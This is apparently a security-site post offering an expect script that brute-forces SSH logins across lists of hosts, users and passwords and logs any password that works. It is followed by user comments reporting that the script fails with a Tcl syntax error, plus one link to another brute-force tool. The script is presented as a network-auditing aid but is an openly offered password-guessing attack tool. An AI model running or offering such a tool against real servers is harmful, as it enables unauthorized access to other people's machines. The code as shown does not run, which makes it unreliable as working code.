|
|
| |
Credit:
The information has been provided by James Shanahan and Erin Palmer.
|
| |
This is an expect script that will allow you to specify a host file, user file, and a dictionary. Extremely useful for auditing large networks where you can't manually log into every machine or don't feel like re-running something on every host.
Tool:
#!/usr/bin/expect -f
#
# Written by James Shanahan (jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will allow you to specify hosts, password lists, and a user
# I do not take any responsibility for what you do with this tool
# Hopefully it will make your life easier rather then making other
# peoples lives more difficult!
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]
if {[llength $argv] != 3} {
puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
exit }
set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]
set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]
foreach username $login
{
foreach passwd $passwords
{
foreach ip $hosts
{
spawn ssh $username@$ip
expect ":"
send "$passwd\n"
set logFile [open $ip.log a]
expect "L"
{
puts $logFile "password for $username@$ip is $passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
}
}
|
| Subject:
|
|
Date: |
19 Nov. 2008 |
| From: |
qmartygmail.com |
wrong # args: should be "e;foreach varList list ?varList list ...? command"e;
while executing
"e;foreach username $login"e;
|
|
| Subject:
|
bug |
Date: |
12 Dec. 2008 |
| From: |
me |
wrong # args: should be "e;foreach varList list ?varList list ...? command"e;
while executing
"e;foreach username $login"e;
(file "e;./test"e; line 28) |
|
| Subject:
|
doesnt work |
Date: |
18 Mar. 2009 |
| From: |
mido06 |
wrong # args: should be "e;foreach varList list ?varList list ...? command"e;
while executing
"e;foreach username $login "e;
(file "e;./ssh_bf.exp"e; line 28) |
|
| Subject:
|
no good, wont run. |
Date: |
1 Nov. 2009 |
| From: |
freakwent |
| shame. try http://freshmeat.net/projects/sshatter/?branch_id=70781&release_id=263196 if you want to. |
|
|
|
|